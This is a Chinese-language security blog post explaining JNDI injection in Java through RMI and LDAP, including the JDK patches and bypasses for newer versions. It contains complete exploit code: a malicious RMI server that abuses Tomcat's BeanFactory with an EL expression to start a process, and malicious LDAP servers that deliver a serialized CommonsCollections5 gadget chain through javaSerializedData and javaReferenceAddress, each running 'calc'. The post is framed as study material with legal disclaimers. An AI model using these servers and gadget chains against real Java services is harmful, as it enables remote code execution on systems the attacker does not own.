深入了解JNDI安全

admin 2024年3月16日13:27:26评论18 views字数 16729阅读55分45秒阅读模式

JNDI

JNDI(全称Java Naming and Directory Interface)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。

JNDI注入+rmi

JNDIClient

public class JNDIClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        IRemoteObj o = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteOb");
        System.out.println(o.sayHello("hello"));
    }
}

JNDIServer

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        LocateRegistry.createRegistry(1099);
        initialContext.rebind("rmi://localhost:1099/remoteOb",new RemoteObImpl());
    }
}

深入了解JNDI安全

跟进一下客户端lookup方法,跟进到RegistryContext类的lookup方法,从这里可以看出来,其实调用的还是RMI的东西。如果客户端的lookup参数可控,就可以让它访问我们恶意的链接了。深入了解JNDI安全

绑定引用对象

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
    }
}

看一下Reference类。工厂,第一个参数类型className,第二个工厂名factory,工厂的位置。

    /**
      * Constructs a new reference for an object with class name 'className',
      * and the class name and location of the object's factory.
      *
      * @param className The non-null class name of the object to which
      *                         this reference refers.
      * @param factory  The possibly null class name of the object's factory.
      * @param factoryLocation
      *         The possibly null location from which to load
      *         the factory (e.g. URL)
      * @see javax.naming.spi.ObjectFactory
      * @see javax.naming.spi.NamingManager#getObjectInstance
      */
    public Reference(String className, String factory, String factoryLocation) {
        this(className);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }

启一个JNDIServer,在testref.class文件所在的位置起一个http的web服务,将reference引用绑定在remoteOb上,然后在JNDIClient客户端访问,

public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
        initialContext.rebind("rmi://localhost:1099/remoteOb",reference);
    }
}

适用场景就是当我们能控制服务端lookup的参数时,就可以访问恶意的对象。

接下来具体分析流程。在客户端跟进lookup方法。其实就是一系列的调用,过程如下图。

深入了解JNDI安全

这里获取到的对象是ReferenceWrapper_Stub,并不是服务端绑定的Reference,这是因为服务端调用了一个encodeObject方法将Reference类转成了ReferenceWrapper,所以客户端获取到之后要decode。深入了解JNDI安全

到这里的调用栈如下。

深入了解JNDI安全

decode之后就拿到了原先的Reference,同时在这个方法中调用了NamingManager.getObjectInstance()方法,跟进深入了解JNDI安全

在319行调用了getObjectFactoryFromReference方法,从引用中获取对象工厂

深入了解JNDI安全

这个方法中首先调用loadClass加载,调用AppClassLoader本机加载,此时是加载失败找不到的

深入了解JNDI安全

深入了解JNDI安全

接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,在调用loadClass加载深入了解JNDI安全

把codebase传入URLClassLoader,利用loadClass加载深入了解JNDI安全

这个里面就会对应初始化加载,对应URL下面的类。深入了解JNDI安全

找到之后newInstance实例化,执行完这一步就可以弹出计算器了。深入了解JNDI安全

深入了解JNDI安全

在JDK 6u132, JDK 7u122, JDK 8u113中Java限制了通过RMI远程加载Reference工厂类,com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了false,即默认不允许通过RMI从远程的Codebase加载Reference工厂类。
在RegistryContext类中的trustURLCodebase默认值是false,所以程序不会再向下执行。深入了解JNDI安全

JNDI注入+ldap

但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在修复RMI的时候并没有对LDAP进行修复,所以在JDK 11.0.1、8u191、7u201、6u211之前LDAP还是可以利用的。

使用JNDI工具启动一个LDAPF服务。

深入了解JNDI安全

客户端调试跟踪分析流程

    public static void main(String[] args) throws NamingException {
        Object object=new InitialContext().lookup("ldap://127.0.0.1:1389/koh13g");
    }

根据追踪lookup方法,最后走到PartialCompositeContext类的lookup方法,方法中又调用了p_lookup方法,这个方法中又要用了c_lookup方法。

深入了解JNDI安全

c_lookup方法要用了decodeObject方法,走到这里就想到在rmi中也要用了这个方法,并看到传入的参数var4其实跟rmi也是一样的,codebase、类名、工厂等。

深入了解JNDI安全

在decodeObject方法又分了几种情况,因为jndi支持序列化、引用的、远程对象的,通过获取到的属性来判断是属于那种方式。

因为此时为引用,所以会调用decodeReference方法,方法中把类名啥的都获取到。然后回到c_lookup方法。

深入了解JNDI安全

深入了解JNDI安全

c_lookup方法中又调用了DirectoryManager.getObjectInstance()方法,在rmi中是调用的NamingManager.getObjectInstance()方法,后续的流程在方法中又调用getObjectFactoryFromReference()方法,通过loadClass加载远程加载对象。调用AppClassLoader本机加载,此时是加载失败找不到的,接下来就是利用codebase查找,codebase就是上面提到Reference的factoryLocation,再利用loadClass加载等等。

因为RMI跟LDAP前半部分的调用流程并不一样,当RMI修改了流程中的decodeObject方法,并不会影响到LDAP流程中的decodeObject方法,在之后的版本Java也对LDAP Reference远程加载Factory类进行了限制,在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性的值默认为false。

用8u333测试了一下,在VersionHelper12类的loadClass方法中有trustURLCodebase属性的判断,如下图所示。

深入了解JNDI安全

JDK版本 > 8u191

通过加载本地类

从上面的RMI跟LDAP的过程中可以看到,都是利用远程加载并也已经修复了,但是不是也可以利用本地的类进行利用,对于本地的类也是有要求的,这个类必须是个工厂类,该工厂类型必须实现javax.naming.spi.ObjectFactory 接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference最后的return语句对工厂类的实例对象进行了类型转换return (clas != null) ? (ObjectFactory) clas.newInstance() : null;;并且该工厂类至少存在一个 getObjectInstance() 方法,根据网上文章org.apache.naming.factory.BeanFactory是可利用的,并且该类存在于Tomcat依赖包中应用比较广泛。

Tomcat8

首先加载maven,如果com.springsource.org.apache.el包获取失败,可以下载对应jar包然后导入。

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>

服务端示例代码如下

    public static void main(String[] args) throws Exception{

System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

}

客户端示例代码如下

    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1097/Object");
    }

效果图如下所示深入了解JNDI安全

调试跟踪分析流程

前面的流程跟RMI和LDAP是一样的,跟到RegistryContext.decodeObject()方法,工厂就是指定的org.apache.naming.factory.BeanFactory,深入了解JNDI安全

接下来的流程也一样,走到getObjectFactoryFromReference方法,接着就是loadClass本地加载对应的类,clas不是null,就说明本地加载到了,

深入了解JNDI安全

最后在getObjectInstance方法中反射的调用invoke执行EL表达式,完成命令执行。深入了解JNDI安全

调用栈

getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)

触发本地存在的Gadget

加入本地依赖中存在漏洞,可以尝试出发本地漏洞,这里存在CC依赖,CommonsCollections5来尝试

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class JNDIServer {

private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://x.x.x.x/#aaa"};
int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData",CommonsCollections5());

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}

}

客户端尝试触发,效果如下图

深入了解JNDI安全

调试跟踪分析流程

前面流程跟LDAP流程相同,还是会走到Obj类中的decodeObject方法,JAVA_ATTRIBUTES字段有"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation",JAVA_ATTRIBUTES[1]就是javaSerializedData,在起服务端的时候配置了这个字段,不为空就进入到deserializeObject方法中

深入了解JNDI安全

deserializeObject方法中对var20进行反序列化,var20就是服务端在其中时给javaSerializedData的赋值,就是恶意的序列化数据。深入了解JNDI安全

调用栈如下

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)

其实还有一处反序列化的点,在com/sun/jndi/ldap/Obj.java#decodeReference中,这个方法中也调用了上面例子中反序列化时经过的方法deserializeObject,如果程序能走到这里,也就意味着也可以进行反序列化操作。

深入了解JNDI安全

首先要看一下怎样才能进入decodeReference方法中,在上面例子中讲到通过Obj类中的decodeObject方法在启动时给JAVA_ATTRIBUTES的javaSerializedData赋值进入了deserializeObject方法,但是在decodeObject方法中也调用了decodeReference方法,如果要进入要在启动时给JAVA_ATTRIBUTES的objectClass赋值。

在反序列化利用时调用的参数时JAVA_ATTRIBUTES的javaReferenceAddress,所以要把恶意代码赋值给这个参数,但这个参数在赋值时有如下要求:

  • 第一个字符为分隔符
  • 第一个分隔符与第二个分隔符之间,表示Reference的position,为int类型
  • 第二个分隔符与第三个分隔符之间,表示type,类型
  • 第三个分隔符是双分隔符的形式,则进入反序列化的操作
  • 序列化数据用base64编码

javaClassName这个参数不能去掉,因为在调用decodeObject方法时对JAVA_ATTRIBUTES的javaClassName进行了判断,只有不为空时才能进入decodeObject方法

    static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

启动的服务端参考如下:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.BASE64Encoder;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class JNDIServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://x.x.x.x/#aaa"};
int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {

e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(CommonsCollections5()));
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();

return byteArrayOutputStream.toByteArray();
}

}

客户端尝试触发,效果如下图

深入了解JNDI安全

调用栈如下

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeReference:478, Obj (com.sun.jndi.ldap)
decodeObject:251, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (org.example)
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/8214#toc-3
https://www.bilibili.com/video/BV1P54y1Z7Lf/
文章来源: https://forum.butian.net/share/2751文章作者:刺头大哥如有侵权请联系我们,我们会进行删除并致歉

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

原文始发于微信公众号(白帽子左一):深入了解JNDI安全

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月16日13:27:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深入了解JNDI安全https://cn-sec.com/archives/2580728.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息